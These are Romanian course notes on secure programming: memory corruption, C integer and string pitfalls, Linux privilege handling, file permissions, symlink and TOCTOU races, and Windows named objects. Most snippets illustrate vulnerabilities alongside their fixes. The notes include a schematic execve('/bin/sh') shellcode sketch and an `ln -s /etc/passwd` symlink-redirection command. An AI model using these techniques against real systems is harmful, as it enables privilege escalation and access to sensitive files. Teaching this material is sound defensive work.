Rezumat_Cursuri

Curs 2: Vulnerabilități legate de coruperea memoriei

---

1. Buffer Overflow:

1.1 Definitie

- Apare cand datele scrise intr-un buffer depasesc capacitatea acestuia
- **Cauze**:
  - Nevalidarea datelor introduse de utilizator
  - Lipsa verificarii lungimii datelor
- **Riscuri**:
  - Coruperea datelor. Datele aplicatiei devin inconsistente
  - Atac DoS (blocarea aplicatiei)
  - Executia codului malitios: *Un atacator poate injecta si executa cod propriu*

1.2 Structura memoriei unui proces

- Code Segment: *Cotine codul aplicatiei si al bibliotecilor*
- Data Segment: *Variabile globale, statice si heap*
- Stack Segment: *Argumente functii, variabile locale, adresa de retur*

1.3 Exploatarea Buffer Ovserflow

- **Exemplu**:

```
char dst[5];
char *src = "0123456789";
strcpy(dst, src);  // Suprascrierea valorilor după buffer!
```

- **Problema**: *Nu Se verifica dimensiunea buffer-ului dst*
- **Consecinte**: *Suprascrierea datelor locale sau a variabilelor de control (adresa de retur, pointeri)*

---

2. Stack Overflow:

2.1 Definitie

- **Contine**:
  - Adresa de retur
  - Variabile locale
  - Parametrii functiei

2.2 Exploatare:

- Suprascrierea datelor si a infromatiilor de control
- **Exemplu**:

```
        void function(){
                char buffer[10];
                gets(buffer); //Fara verificare poate suprascrie stiva
        }
```

  - Acest tip de vulnerabilitate poate fi exploatat pentru a suprascrie adresa de retur cu o locatie controlata de atacator

---

3. Heap Overflow

3.1 Definitie

- Se suprascriu blocuri de memorie pe heap prin depasirea limitelor unui buffer

3.2 Exploatare:

- Suprascrierea metadatelor blocurilor de pe heap (e.g., pointerii din lista inlantuita)
- **Tinte comune**: *Pointeri, handleri de exceptii, functii*
- **Exemplu**:

```
char *buffer = malloc(16);
strcpy(buffer, "Date lungi care depasesc...") //Buffer overflow pe heap
```

---

4. Mecanisme de protectie

4.1 Stack Cookie (Canary Values):

- Valori speciale inserate pe stiva inaintea adresei de retur
- Verificare: *Daca valoarea este alterata, programul este terminat*

4.2 Data Execution Prevention (DEP):

- Blocheaza exeutarea codului din segmentele de memorie marcate doar pentru date

4.3 Address Space Layout Randomization (ASLR):

- Randomizeaza adresele memoriei pentru a face mai dificila exploatarea

4.4 Exemple:

- Folosirea functiilor sigure pentru manipularea siturilor, ex `strncpy` in loc de `strcpy`
- **Exemplu**:

```
strncpy(buffer, src, sizeof(buffer) - 1);  // Evită depășirea buffer-
ului.
```

---

5. Shellcode

- **Definitie**: *Cod executabil injectat de atacator*
- **Scop**: *Deschiderea unei conexiuni, rularea unei comenzi*
- **Exemplu Linux ShellCode**:

```
mov eax, 0xb       //execve syscall
mov ebx, "/bin/sh"
int 0x80           //Apel sistem
```

Curs 3: Vulnerabilități specifice limbajului C

---

1. Tipuri de vulnerabilitati

1.1 Integer Overflow

- **Definitie**: *Valoarea unui intreg depaseste domeniul reprezentabil*
- **Exemplu**:

```
unsigned int a = 0xFFFFFFFF;
a = a + 1; // a devine 0
```

- **Risc**: *Calcul gresit, alocare incorecta de memorie*

1.2 Integer Underflow

- **Definitie**: *Rezultatul este sub valoarea minima reprezentabile*
- **Exemplu**:

```
unsigned int a = 0;
a = a - 1; // Devine 0xFFFFFFFF (valoare mare pozitivă)
```

---

2. Conversii de tip

2.1 Conversie Largire

- **Exemplu:**

```
char a = 127;
int b = a;  // Valoarea este păstrată.`
```

2.2 Conversie Ingustare

- **Exemplu:**

```
int a = 0x12345678;
char b = a; // Valoare trunchiată: b = 0x78.
```

---

3. Probleme Comune

Unsigned vs Signed

- **Exemplu**:

```c
int a = -5;
unsigned int b = 10;
if (a < b) { /* Comparatie incorectă! */ }
```

Shifting (Deplasari la stanga/dreapta)

- **Risc**: *Rezultate imprevizibile pentru variabile cu semn*

Curs4: Vulnerabilități în utilizarea și manipularea șirurilor

---

1. Functii nesigure

1.1 `strcpy`:

- Nu verifica lungimea sursei
- **Exemplu**:

```c
char src[1024], dest[32];
strcpy(dest, src); //Buffer overflow daca src > 32
```

- **Alternativa**:
  - `strncpy`: *Accepta lungimea maxima a buffer-ului destinatie*

1.2 `sprintf`:

- Formarile necontrolate pot cauze depasirea buffer-ului
- **Exemplu**:

```c
char buffer[10];
sprintf(buffer, "%s", "Aceasta intrare este prea mare");
```

- **Alternativa**:
  - `snprintf`: *Asigura ca datele nu depasesc lungimea buffer-ului*

1.3 `scanf`:

- Nu controleaza lungimea datelor citite

- **Exemplu**:

```
char user[32];
scanf("%s", user); // Buffer overflow daca input > 32
```

  - **Alternativa**:
    - `fgets`: *Permite specificarea lunfimii maxime a datelor citite*

1.4 `strcat`:

- Nu verifica lungimea buffer-uui destinatie
- **Exemplu**:

```
char dest[32] = "User: ";
char src[1024];
strcat(dest, src); //Buffer overflow daca src > 26
```

  - **Alternativa**:
    - `strncat`: *Accepta lungimea maxima a buffer-ului destinatiei*

---

2. Metacaractere si vulnerabilitati

- **Definitie**: Caractere speciale care modifica comportamentul sirurilor
- **Exemplu**: `\0`, `/`, `.`, `@`
- **Riscuri**:
  1. Injectarea metacaracterelor:
     - **Exemplu**: un utilizator poate introduce un `\n` pentru a altera structura datelor
  2. NUL Character Injection:
     - **Exemplu**:

```
char username[64]:
snprintf(username, sizeof(username), "%s", input);
//Data 'input' contine `admin%00guest`, restul este trunchiat
```

---

3. Trunchierea sirurilor

- **Probleme**:

- Apare cand sirul sursa este mai lung decat buffer-ul destinatie
- **Exemplu**:

```
char buf[64]
snprintf(buf, sizeof(buf), "Lungimea acestui text depaseste buffer-
ul");
```

- **Solutii**:
  - Audit atent al codului care manipuleaza siruri
  - Folosirea unor functii sigure si gestionarea atenta a dimensiunilor

---

4. Filtrare si Evitare

- Filtrati caracterele cu semnificatie speciala
- Recomandare: *evitati utilizarea directa a sirurilor primite de la utilizatori fara verificare*

Curs5: Vulnerabilități specifice sistemelor de operare - Execuție cod cu prea multe privilegii

---

1. Introducere

- **Obiectiv**:
  - Intelegerea vulnerabilitatilor care apar atunci cand aplicatiile ruleaza cu privilegii mai mari decat e necesar
- **Principii de securitate relevante**:
  - Principiul minimului privilegiu:
    - Aplicatiile ar trebui sa ruleze cu cel mai mic nivel de privilegii necesar
  - Apararea in profunzime:
    - Implementarea mai multor niveluri de securitate pentru a reduce riscul

---

2. Vulnerabilitatea "prea multe privilegii"

- **Descriere**:
  - Apare cand o aplicatie ruleaza cu privilegii mai mari decat necesar

    - Contravine principiilor de securitate si poate amplifica impactul altor vulnerabilitati
- **Efecte**:
    - Executie de cod malitios cu privilegii ridicate:
        - Un atacator poate exploata aplicatia pentru a rula cod cu privilegii elevate
    - Acces neautorizat la date:
        - Date sensibile pot fi accesate sau modificate
- **Exemple**:
    - Aplicatii care ruleaza ca root fara necesitate:
        - Un serviciu web care nu are nevoie de privilegii root, dar le detine, poate fi exploatat pentru a compromite intregul sistem.

---

3. Referinte CWE (Common Weakness Enumeration)

- **CWE - 250: "Execution with Unnecessary Privileges"**
    - Aplicatia executa operatii la un nivel de privilegii mai mare decat necesar
- **CWE - 269: "Improper Privilege Management"**
    - Gestionarea incoreta a privilegiilor utilizatorilor sau resurselor

---

4. Sistemul de privilegii in Linux

- **Identificatori de utilizator si grup:**
    - UID (User ID): I*dentifica utilizatorii; UID = 0 este utilizatorul root*
    - GID (Group ID): *Identifica grupurile de utilizatori*
- **Procese si privilegii**:
    - Procesele mostenesc UID si GID de la utilizatorul care le-a lansat
    - **Real UID (RUID):**
        - Este UID-ul utilizatorului care a lansat procesul.
        - Este folosit pentru a identifica cine deține procesul.
        - **Exemplu**: Dacă `user1` lansează o aplicație, UID-ul său devine RUID al acelui proces.
    - **Effective UID (EUID):**
        - Este UID-ul utilizat pentru a verifica ce permisiuni are procesul în timpul rulării
        - Dacă procesul are un EUID=0 (root), acesta are toate privilegiile.
        - Un proces poate avea un RUID diferit de EUID. Aceasta se întâmplă, de exemplu, când un program are bitul SUID activ.

    - **Saved UID (SUID):**
        - Este o copie a EUID-ului original.
            - Este folosit pentru a reveni la privilegiile originale după ce procesul a schimbat temporar EUID-ul.
- **Mecanisme de elevare a privilegiilor:**
    - Când lansezi un program, procesul rezultat va moșteni RUID și EUID de la utilizatorul care l-a lansat.
        - **Exemplu**: Dacă `user1` rulează un script, acel script va rula cu RUID=user1 și EUID=user1.
    - **Separarea privilegiilor:**
        - Procesul poate avea un utilizator real (RUID) care l-a lansat, dar poate rula cu alte permisiuni (EUID), în funcție de necesități.
        - **Exemple**:
            - Un program care rulează cu EUID=root poate accesa fișierele sistemului, dar RUID-ul său poate fi cel al unui utilizator obișnuit.
    - **SUID (Set User ID)**:
        - Permite unui executabil sa ruleze cu privilegii propriatarului fisierului, nu ale utilizatorului care il executa
    - **SGID (Set Group ID):**
        - Similar cu SUID, dar pentru grupuri
- **Exemple de programe SUID:**
    - `ping`: *Necesita privilegii root pentru a accesa reteaua la nivel scazut*
        - Exemplu:

```
ls -l /bin/ping
```

            - Rezultat:

```
-rwsr-xr-x 1 root root 44168 jan 1 12:00 /bin/ping
```

            - Litera `s` în locul `x` (permisiuni de executare) indică faptul că SUID este activ. Inseamna ca ping se executa cu privilegii de root chiar daca utilizatorul care a executat comanda nu are privilegiul de root
    - `passwd`: *Permite utilizatorilor sa isi schimbe parola, modificand fisierul* `/etc/shadow` *care este proprietatea root*

---

5. Functii pentru gestionarea UID si GID

`seteuid(uid_t euid)`:

- **Scop**:
  - Schimba temporar EUID al procesului
- **Utilizare**:
  - Pentru a cobora privilegiile atunci cand nu sunt necesare si a le ridica din nou cand este necesar
- **Limitari**:
  - Procesele ono-root pot schimba EUID doar intre RUID si SUID
- **Exemplu**:

```
uid_t ruid = getuid();    //Obtine UID real
uid_t euid = geteuid();   //Obtine UID efectiv

//Coborarea privilegiilor
if (seteuid(ruid) < 0){
        perror("seteuid");
        exit(1);
}

//Executarea operatiunilor neprivilegiate
do_unprivileged_actions();

//Ridicarea privilegiilor
if (seteuid(euid) < 0){
        perror("seteuid");
        exit(1);
}

//Executarea operatiunilor privilegiate
do_privileged_actions();
```

`setuid(uid_t uid)`:

- **Scop**:
  - Schimba permanent UID-ul procesului (RUID, EUID si SUID)
- **Utilizare**:
  - Pentru a renunta definitiv la privilegiile ridicate
- **Atentie**:
  - Odata ce privilegiile au fost coborate cu `setuid`, nu mai pot fi ridicate din nou in cadrul aceluiasi proces
- Exemplu:

```
// Renunțarea definitivă la privilegiile root
if (setuid(1000) < 0) {    // Setăm UID la 1000 (utilizator obișnuit)
    perror("setuid");
```

```
    exit(1);
}

// Operațiuni fără privilegii
do_unprivileged_actions();
```

Diferența între `seteuid` și `setuid`:

Caracteristică	`seteuid`	`setuid`
Ce modifică?	Doar **EUID**	**RUID**, **EUID**, și **SUID**
Temporar/Permanent?	Temporar	Permanent
Scop principal	Alternare între privilegii	Renunțare definitivă la privilegii
Revenire la root?	Posibil (cu SUID)	Imposibil

---

6. Utilizarea gresita a privilegiilor

- **Probleme comune:**
  - Neintelegerea functiilor de gestionare a UID/GID:
    - Confuzie intre `setuid` si `seteuid`
- **Ordinea incorecta a coborarii privilegiilor**:
  - Coborarea UID inainte de GID poate lasa procesul cu privilegii de grup ridicate
- **Exemplu**:

```
//Coborarea privilegiilor de utilizator
setuid(getuid());

//Coborarea privilegiilor de grup (gresit)
setgid(getgid());
```

- **Problema**:
  - Dupa coborarea UID, procesul nu mai poate cobora GID daca nu are permisiuni suficiente
- **Solutie**:
  - Coborarea privilegiilor de grup inaintea celor de utilizator
- **Cod corect**:

```
//Coborarea privilegiilor de grup
setgid(getgid());
```

```
//Coborarea privilegiilor de utilizator
setuid(getuid());
```

---

7. Scaderea permanenta a privilegiilor

- **Recomandari**:
  - **Utilizati functiile potrivite**:
    - Pentru a scadeaa definitiv privilegiile, utilizati `setresuid()` si `setresgid()`, care permit setarea explicita a RUID, EUID si SUID
- **Exemplu**:

```
//Scaderea definitiva a privilegiilor
if ( setresgid(new_gid, new_gid, new_gid) < 0){
        perror("setresgid");
        exit(1);
}
if (setresuid(new_uid, new_uid, new_uid) < 0){
        perror("setresuid");
        exit(1);
}
```

---

8. Extinderea privilegiilor

- **Atentie la procesele SUID non-root:**
  - Daca un program SUID apartine unui utilizator non-root, coborarea privilegiilor poate sa nu fie suficienta pentru a preveni escaladarea
- **Recomandarea:**
  - Evitati utilizarea SUID pentru utilizatori non-root sau asigurati-va ca privilegiile sunt gestionate corect

---

Curs6: Vulnerabilități specifice sistemelor de operare - Neprotejarea datelor stocate pe disc

---

1. Introducere

- **Obiectiv**:
  - Intelegerea vulnerabilitatiilor care apar din cauza manipularii incorecte a permisiunilor asupra datelor stocate pe disc
- **Importanta**:
  - Protejarea datelor "at rest" este esentiala pentru securitatea sistemului

---

2. Neprotejarea datelor stocate

- **Descriere**:
  - Apare atunci cand datele stocate pe disc nu sunt protejate adecvat prin permisiuni sau criptare
  - Componente ale vulnerabilitatii:
    - Controlul accesului slab sau inexistent: *Permisiuni incorecte, acces neautorizat*
    - Criptare slaba sau inexistenta: *Datele sensibile nu sunt criptate sau sunt criptate folosind algoritmi slabi*
- **Efecte**:
  - Scurgerea de informatii: *Date sensibile pot fi accesate de utilizatori neautorizati*
  - Modificari neautorizate: *Datele pot fi modificate ducand la comportament neasteptat al aplicatiilor*

---

3. Referinte CWE

- **CWE 284: "Improper AccessControl"**
  - Controlul accesului nu este implementat corect, permitand accesul neautorizat
- **CWE - 275: "Permisiion Issues"**
  - Atribuirea incorecta a permisiunilor sau manipularea gresita a acestora

---

4. Permisiunile fisierelor in Linux

- **Proprietati ale fisierelor:**
  - UID (User ID): *Proprietarul fisierului*
  - GID (Group ID): *Grupul asociat fisierului*
- **Permisiuni**:

- Structura: 12 biti impartiti in 4 grupuri de cate 3 biti (speciale, proprietar, grup, altii)
- Tipuri de permisiuni:
  - r (read): *Permite citirea fisierului*
  - w (write): *Permite modificarea fisierului*
  - x (execute): *Permite executarea fisierului (daca este executabil)*
- Permisiuni speciale:
  - SUID: *Executabilele ruleaza cu privilegiile proprietarului*
  - SGID: *Executabilelel ruleaza cu privilegiile grupului*
  - Sticky bit: *Folosit pentru directoare, previne stergerea fisierelor de catre utilizatori neproprietari*
- Exemplu:

```
-rwsr-xr-x
```

Simbol	Descriere	Valoare Binara	Numeric
-	Tipul fișierului (ex.: - pentru fișier, d pentru director).	n/a	n/a
rwx	Permisiunile proprietarului.	`111`	`7`
r-x	Permisiunile grupului.	`101`	`5`
r-x	Permisiunile altor utilizatori.	`101`	`5`
s	Bit special (SUID activat).	n/a	n/a

```
- Bit special (SUID): 4
- Permisiuni proprietar: 7
- Permisiuni grup: 5
- Permisiuni alți utilizatori: 5
        - Format numeric complet: 4755
```

- **Umask**:
  - Definitie: *Masca de permisiuni care determina permisiunile implicite alte fisierelor noi*
  - Exemplu: *Umask 022 va seta permisiunile implicite la 755 pentru directoare si 644 pentru fisiere*

Umask	Directoare Noi (777 - umask)	Fișiere Noi (666 - umask)
022	**755**	**644**
002	**775**	**664**

Umask	Directoare Noi (777 - umask)	Fișiere Noi (666 - umask)
077	**700**	**600**

---

5. Crearea fisierelor si vulnerabilitati asociate

- **Problemel comune:**
  - Utilizarea permisiunilor implicite nesigure: *Neactualizarea umask poate duce la fisiere cu permisiuni prea permisive*
  - Crearea fisierelor in directoare publice: *Fisierele temporare create in `/tmp` pot fi vulnerabile la atacuri*
- **Exemplu de cod vulnerabil**

```
int fd = open("/tmp/tempfile.out", O_RDWR | O_CREATE, 0666);
```

  - **Problema**: *Daca fisierul exista deja, este deschis cu permisiunile existente, ignorand permisiunile specificate*
- **Recomandari**:
  - Utilizati O_EXCL cu O_CREAT: *Preveniti deschiderea unui fisier existent*
  - Setati explicit permisiunile dorite: *Folosind 0600 pentru fisiere care nu ar trebui sa fie accesibile altora*
  - Verificati existenta fisierului inainte de create: *Evitati suprascierea fisierelor existente*

---

6. Legaturi simbolice si hard links

Caracteristică	Legături Simbolice (Symlinks)	Legături Hard (Hard Links)
Descriere	Un fișier care face referire la alt fișier sau director.	O altă referință (pointer) la același fișier.
Există independent?	Nu. Dacă fișierul țintă este șters, symlink-ul devine "rupt".	Da. Ambele legături rămân valide până când toate sunt șterse.
Funcționează între filesystem-uri?	Da. Poate referi fișiere de pe alte partiții sau filesystem-uri.	Nu. Funcționează doar în același filesystem.
Impact asupra inode-urilor?	Creează un nou inode pentru symlink.	Utilizează același inode ca fișierul original.

- **Atacuri cu legaturi simbolice:**
  - Un atacator poate crea o legatura simbolica cu numele asteptat de aplicatie, redirectionand accesul catre un fisier sensibil
  - **Exemplu**: Daca o aplicatie deschide `/tmp/config`, iar atacatorul creeaza o legatura simbolica de la `/tmp/config` la `/etx/passwd`, aplicatia poate accesa fisierul sensibil

```
ln -s /etc/passwd /tmp/config
```

- **Preventie**:
  1. Folositi `o_NOFOLLOW`
  - Când deschideți fișiere, utilizați flag-ul `O_NOFOLLOW` pentru a preveni urmarirea legăturilor simbolice.

```
int fd = open("/tmp/config", O_RDWR | O_CREAT | O_NOFOLLOW, 0600);
if (fd == -1) {
    perror("Error opening file");
    exit(1);
}
```

  2. Verificati proprietatile fisierului cu `lstat`
     - Folosiți funcția `lstat()` pentru a verifica dacă un fișier este o legătură simbolică înainte de a-l utiliza.

```
struct stat sb;
if (lstat("/tmp/config", &sb) == -1) {
    perror("Error with lstat");
    exit(1);
}

// Verificați dacă este un symlink
if (S_ISLNK(sb.st_mode)) {
    fprintf(stderr, "Error: /tmp/config is a symlink\n");
    exit(1);
}
```

- Recomandari
  - Evitati directoarele publice: *Folositi directoare private, cum ar fi cele returnate de `mkdtemp()`*
  - Creati fisierele temporare in mod sigur: *Utilizati functii precum `mkstemp()` care creeaza fisiere temporare unice si sigure*
    - **Exemplu**:

```
char template[] = "/tmp/tempfile.XXXXXX";
int fd = mkstemp(template);
if (fd == -1) {
    perror("Error creating temporary file");
    exit(1);
}
```

- Restrictionati permisiunile directoarelor publice: *Activati Sticky Bit pentru directoare precum* `/tmp` *pentru a preveni sterferea fisierelor altor utilizatori*

```
chmod +t /tmp
```

---

7. Rece conditions (Conditii de cursa)

- **Descriere**:
  - Apar atunci cand starea sistemului se schimba intre momentul verificarii si momentul utilizarii resursei (TOCTOU - Time-of-Check to Time-of-Use)
  - **Exemplu**:

```
if (acces("/tmp/userfile", R_OK) == 0)
        fd = open("/tmp/userfile", O_RDONLY);
```

  - **Problema**: Intre `acces` si `open`, fisierul poate fi modificat sau inlocuit de un atacator
    - Un atacator poate inlocui fisierul `/tmp/userfile` cu un alt fisier (ex.: un link simbolic catre un fisier sensibil).
    - Aplicatia presupune că acceseaza fisierul verificat anterior, dar de fapt acceseaza un fisier diferit.
- **Recomandari**:
  - Evitati verificarile separate: *Deschideti fisierul direct si verificati permisiunile pe descriptor*

```
int fd = open("/tmp/userfile", O_RDONLY);
if (fd == -1) {
    perror("Error opening file");
    exit(1);
}
```

  - Utilizati apeluri atomice: *Functii care combina verificarea si deschiderea intr-o singura operatie*

```c
int fd = open("/tmp/userfile", O_RDONLY | O_CREAT | O_EXCL, 0600);
if (fd == -1) {
    perror("Error opening file");
    exit(1);
}

// Verificăm dacă fișierul este cel așteptat
struct stat sb;
if (fstat(fd, &sb) == -1) {
    perror("Error getting file stats");
    close(fd);
    exit(1);
}
```

- Evitati directoarele publice
  - **Problema**: Directoare precum `/temp` sunt accesibile tuturor utilizatorilor, crescand riscul atacurilor
  - **Solutie**: Utilizati directoare private (ex: `~/tmp`) sau directoare temporare generate cu functii sigure, cum ar fi `mktemp()`

---

8 Recomandari generale pentru protejarea datelor stocate

- Setati permisiuni restrictive pentru fisierele sensibile: Utilizaati 0600 pentru fisiere care nu ar trebui sa fie citite sau modificate de altii
- Validati toate datele de intrare care influenteaza calea fisierelor: Preveniti atacurile de tip path traversal
- Criptati datele sensibile stocate pe disc: Folositi algoritmi de criptare puternici si evitati implementarea propriilor algoritmi

---

Curs7: Vulnerabilități datorate sincronizării și condițiilor de cursă (Race Conditions)

---

1. Introducere

- **Definitie Race Condition:**

    - Apare atunci cand doua sau mai multe procese/ threads acceseaza simultan resurse partajate fara sincronizare corespunzatoare
    - Efecte posibile:
        - Rezultate neasteptate
        - Inconsistenta sau coruperea starii resursei
- **Cauzele vulnerabilitatii:**
    - Lipsa protectiei pentru recursele partajate
    - Neluarea in considerare a posibilelor interferente intre procese
    - Lipsa asigurarii atomicitatii operaiunilor

---

2. Tipuri de vulnerabilitati Race Condition

1. **Trusted (Interne aplicatiei):**
    - Interferente intre thread-urile aplicatiei
    - Pot fi declansate doar indirect de atacator
2. **Untrusted (Externe aplicatiei):**
    - Codul atacatorului poate declansa direct interferente prin componente controlate de acesta

---

3. Atacuri si efecte ale vulnerabilitatilor Race Condition

- **Efecte posibile:**
    - Denial of Service (DOS): *Afecteaza disponibilitatea aplicatiei*
    - Scurgere de informatii: *Afecteaza confidentialitatea*
    - Coruperea datelor: *Afecteaza integritatea*
    - Escaladarea privilegiilor: *Atacatorul obtine acces la resurse neautorizate*
- **Exemplu:**
    - Intr-o aplicatie ce gestioneaza autentificarea utilizatorilor, un atacator poate modifica starea aplicatiei pentru a obtine acces fara autorizare

---

4. Probleme de sincronizare si atomicitate

- **Atomicitate**:
    - Operatiunile ce trebuie sa fie indivizibile si consistente

- Lipsa atomicitatii poate permite atacatorului sa modifice starea resurselor intre pasi critici
- **Exemplu**:

```
if (acces("/tmp/file", R_OK) == 0)
        fd = open("/tmp/file", O_RDWR);
```

- **Problema**: Fisierul poate fi modificat de alt proces intre `acces` si `open` sau se poate crea o legatura simbolica care sa redirectioneze accesul catre un fisier sensibil

- **Solutie**:
  1. **Combinati verificarea si utilizarea:**
     - Folositi apeluri de sistem care combina verificarea si utlizarea intr-o singura operatiune

```
int fd = open("/tmp/file", O_RDWR | O_CREAT | O_EXCL, 0600);
if (fd == -1) {
    perror("Error opening file");
    exit(1);
}
```

  2. **Folositi descriptorii de fisiere**:
     - Dupa ce un fisier este deschis, folositi descriptorul pentru toate operatiunile ulterioare, deoarece descriptorul ramane asociat cu resursa deschisa

```
int fd = open("/tmp/file", O_RDWR);
if (fd == -1){
        perror("Error opening file");
        exit(1);
}

//Verificati proprietatile fisierului
struct stat sb;
if (fstat(fd, &sb) == -1){
        perror("Error getting file stats");
        close(fd);
        exit(1);
}

//Continuati sa lucrati cu descriptorul fisierului
```

  3. **Folositi functii sigure pentru fisiere temporare:**
     - Pentru a evita problemele in directoarele publice, utilizati functii precum `mkstemp` pentru a crea fisiere temporare unice si sigure

```c
char template[] = "/tmp/file.XXXXXX";
int fd = mkstemp(template);
if (fd == -1){
        perror("Error creating temporary file");
        exit(1);
}
```

4. **Blocati accesul concurent:**
   - Utilizati mecanisme de blocare pentru a preveni accesul simultan la resursele partajate

```c
int fd = open("/tmp/file", O_RDWR);
if (fd == -1) {
    perror("Error opening file");
    exit(1);
}

if (flock(fd, LOCK_EX) == -1) {
    perror("Error locking file");
    close(fd);
    exit(1);
}

// Operațiuni pe fișier

flock(fd, LOCK_UN);
close(fd);
```

Problema	Soluție
Verificare si utilizare separate	Combinați operatiile folosind apeluri atomice, ex.: `open` cu `O_EXCL`.
Acces concurent la fisiere	Utilizați `flock` sau alte mecanisme de blocare.
Probleme cu fisiere temporare	Folositi `mkstemp` pentru a crea fisiere unice si sigure.
Modificari între verificari	Verificati proprietatile fisierelor dupa deschidere cu `fstat`.

---

5. Reentrancy si cod sigur asincron

- **Reentrancy**:

- Capacitatea unei functii de a rula corect chiar daca este intrerupta de un alt thread care o apeleaza
- Este esentiala pentru evitarea starilor inconsistente

- **Cod sigur asincron:**
  - Evita utilizarea variabilelor globale sau statice
  - Asiguura consistenta starii aplicatiei chiar in prezenta intreruperilor

---

6. Vulnerabilitati TOCTOU (Time-of-Ccheck to Time-of-USE)

- **Definitie**:
  - Apare atunci cand starea unei resurse este verificata inainte de utilizare, dar resursa este modificata intre timp de alt proces
- **Exemplu**:

```
if (acces("/tmp/tempfile", W_OK) != 0)
        exit(1)
fd = open("/tmp/tempfile", I_RDWR);
```

  - Atacatorul poate inlocui fisierul intre apelurile `acces` si `open`
- **Solutii**:
  - Folositi apeluri atomice (`open` cu flag-uri corespunzatoare)
  - Evitati veriticarile separate si combinati-le cu operatiunea efectiva

---

7. Mecanisme de sincronizare

- **Pe platforme Windows**:
  - Obiecte de sincronizare: *Mutex-uri, semafoare, evenimente, timere*
  - **Exemple de utilizare gresita**:
    - Lipsa verificarii valorilor de intoarcere alte functiilor de sincronizare
    - Crearea de obiecte de sincronizare cu permisiuni excesive
    - Reutilizarea numelor pentru obiectele globale
  - **Exemplu**:

```
#include <windows.h>
#include <stdio.h>
int main() {
    HANDLE hMutex;
```

```
    // Crearea unui mutex global
    hMutex = CreateMutex(NULL, TRUE, "MyMutex");
    if (NULL == hMutex) {
        printf("Error creating mutex\n");
        return -1;
    }

    // Simulează utilizarea mutex-ului
    printf("Mutex created successfully\n");

    // Eliberarea mutex-ului
    ReleaseMutex(hMutex);
    CloseHandle(hMutex);

    return 0;
}
```

- **Problema**: Mutex-ul este create cu un nume global ("MyMutex"). Daca un atacator creeqaza un mutez cu acelasi nume inainte de rularea aplicatiei, aplicatia va folosi un mutex-ul atacatorului
- **Impact:** Atacatorul poate controla executia aplicatiei, determinand comportamentul neasteptat

- **Solutie**:
  1. **Verificati valorile de intoarcere**
     - Dupa fiecare apel la functii precum `CreateMutex`, `WaitForSingleObject` sau `ReleaseMutex`, verificati rezultatul pentru a identifica erori

```
        HANDLE hMutex = CreateMutex(NULL, TRUE,
"MyMutex");
        if (hMutex == NULL) {
            printf("Error creating mutex: %lu\n",
GetLastError());
            return -1;
        }
```

  2. **Utilizati permisiuni restrictive**
     - Specificati explicit permisiunile la crearea obiectelor de sincronizare

```
        SSECURITY_ATTRIBUTES sa;
        sa.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa.lpSecurityDescriptor = NULL;
        sa.bInheritHandle = FALSE;

        HANDLE hMutex = CreateMutex(&sa, TRUE, "MyMutex");
```

```
if (hMutex == NULL) {
printf("Error creating mutex: %lu\n",
GetLastError());
return -1;
}
```

3. **Evitati utilizarea obiectelor globale cu nume**
   - Daca este posibil, utilizati obiecte de sincronizare anonime (fara nume), astfel incat acestea sa fie accesibile numai in procesul curent

```
HANDLE hMutex = CreateMutex(NULL, TRUE, NULL);  // Mutex
fără nume
if (hMutex == NULL) {
    printf("Error creating mutex: %lu\n", GetLastError());
    return -1;
}
```

4. **Utilizati un namespace pentru obiectele globale**
   - Daca trebuie sa folositi obiecte globale, creati-le intr-un namespace pentru a reduce riscul de coloziuni cu alte aplicatii

```
HANDLE hMutex = CreateMutex(NULL, TRUE, "Global\\MyMutex"); //
S-a prefizat numele obiectului cu "Global\\" sau "Local\\"
if (hMutex == NULL) {
    printf("Error creating mutex: %lu\n", GetLastError());
    return -1;
}
```

---

8. Identificarea si prevenirea vulnerabilitatilor Race Condition

- **Pasi de identificare**:
  1. Determinati resursele partajate (fisiere, variabile glovale)
  2. Verificati daca pot fi accesate concurent
  3. Identificati apelurile de sistem sensibile (creare de fisiere, manipulare de semnale)
  4. Verificati utilizarea functiilor non-reentrante
- **Masuri de prevenire**:
  1. Folositi mecanisme de sincronizare adecvate (mutex-uri, semafoare)
  2. Evitati TOCTOU utilizand operatiuni atomice
  3. Implementati cod reentrant

4. Testati aplicatia pentru conditii de cursa folosind:
    - Black-box testind
    - White-box testing
    - Analize dinamice si statice automatizate

---

9. Exemple notabile de bulnerabilitati Race Condition

1. **Dirty COW (CVE-2016-5195):**
    - Vulnerabilitate in kernelul Linux cauzata de gestionarea gresita a mecanismului Copy-on-Write (COW)
    - Permite escaladarea privilegiilor prin scrierea intr-o zona de memorie doar in citire
    - Solutie: Actualizati kernelul
2. **CVE-2016-3914:**
    - Vulnerabilitate in Android (versiunea 4.x - 6.x)
    - Atacatorul poate modifica baza de date intre doua operatiuni consecutive obtinand privilegii suplimentare

---

10. Recomandari generale pentru cod sigur

- **Cod sincronizat:**
    - Asigurati sincronizarea corecta intre threads sau procese
- **Verificare constanta a erorilor**
    - Functiile de sincronizare trebuie verificate pentru succes
- **Utilizati permisiuni restrictive**
    - Obiectele de sincronizare trebuie sa fie protejate impotriva acceslui neautorizat

---

Curs8: Securitatea sistemelor Windows - Obiecte și sistemul de fișiere

---

1. Proprietatile Obiectelor in Windows

- **Definitie**:

- Unitati fundamentale de abstractizare pentru resursele Windows, gestionate de Kernel Object Manager (KOM)
- **Exemple**: fisiere, directoare, mutex-uri, semafoare, procese, registry keys

- **Tipuri de obiecte**:
  - Obiecte sistem securizabile:
    - Au asociate Descriptori de securitate (ACL/DACL)
    - **Exemple**: Fisiere pe NTFS, chei de registry, procese, thread-uri
  - Obiecte anonime: Partajate doar prin duplicarea unui handle sau mostenire explicita
- **Namespace-ul obiectelor**:
  - Structura ierarhica similara unui sistem de fisiere
  - Global namespace si local namespace:
    - **Global namespace**: Disponibil pentru toate sesiunile utilizatorului (`Global\MyMutex`)
    - **Local namespace**: Separat pentru fiecare sesiune a utilizatorilor (`Local\MyMutex`)
  - Atacuri posibile: *Name squatting
    - **Descriere**: Crearea unui obiect cu acelasi nume intr-un loc accesibil atacatorilor
    - Exemplu: Daca aplicatia creaza un mutex `Global\Mutex`, atacatorul poate crea unul inainte, controland comportamentul aplicatiei

---

2. Gestiunea Handle-urilor de Obiecte

- **Handle-uri:**
  - Obiectele sunt accesate prin intermediul handle-urilor returnate de functii `Create*()` sau `Open*()`
- **Erori comune:**
  1. **Verificari gresite ale handle-urilor**
     - Unele functii returneaza `NULL` la eroare (`OpenProcess`), altele `INVALID_HANDLE_VALUE` (-1)(`CreateFile`)
     - Cod vulnerabil:

```
HANDLE hFile = CreateFile("file.txt",GENERIC_READ,
0,NULL,OPEN_EXISTING, 0, NULL);
